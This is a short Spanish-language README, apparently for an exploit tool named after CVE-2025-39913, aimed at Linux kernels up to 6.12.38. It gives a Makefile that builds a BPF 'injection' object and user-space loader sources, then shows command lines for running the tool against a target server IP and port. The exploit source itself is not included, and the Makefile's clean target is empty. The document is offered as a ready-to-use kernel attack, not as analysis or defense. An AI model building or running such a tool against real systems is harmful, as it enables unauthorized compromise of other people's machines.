Kernel ≤ 6.12.38
Linux x86_64
GCC

	1 - Crear Makefile : 

        # touch Makefile

    2 - Pegar el contenido en el Makefile :  

        TARGET := CVE-2025-39913

        KERNEL_PATH := /usr/src/linux-headers-$(shell uname -r)

        BPF_OBJ := bpf_injection.o

        USER_SRCS := main.c load_bpf.c check_bpfELf.c pingCheck.c com_c.c exit_asm.c sockmap_link.c check_elf.c result.c argparse.c

        USER_OBJS := $(USER_SRCS:.c=.o)
        ALL_OBJS := $(USER_OBJS) $(BPF_OBJ)

        LIBS := -l:libbpf.a -lrt -lelf -lz 

        $(TARGET): $(ALL_OBJS)
            gcc $(USER_OBJS) -o $@ $(LIBS) 
        %.o: %.c
            gcc -c $< -o $@

        $(BPF_OBJ): bpf_injection.c
            clang -O2 -target bpf -c $< -o $@ \
                -nostdinc \
                -I/usr/lib/clang/19/include \
                -I$(KERNEL_PATH)/arch/x86/include \
                -I$(KERNEL_PATH)/arch/x86/include/generated \
                -I$(KERNEL_PATH)/include \
                -I$(KERNEL_PATH)/include/uapi \
                -I$(KERNEL_PATH)/include/generated/uapi \
                -I$(KERNEL_PATH)/include/asm-generic \
                -I/usr/include

        clean:

	 1 - Dirección IP :
     # ./CVE-2025-39913 -i [server-ip] 

    2 - puerto de destino (por defecto : 80) :
     # ./CVE-2025-39913 -i [server-ip] -p [PORT]

    3 - ARG completo : 
     # ./CVE-2025-39913 -h

    4 - Comprobar archivo Obj BPF :
     # ./CVE-2025-39913 -i [server-ip] -p [PORT] -o 

    5 - Comprobar el rastreo de depuración : 
     # ./CVE-2025-39913 -i [server-ip] -p [PORT] -c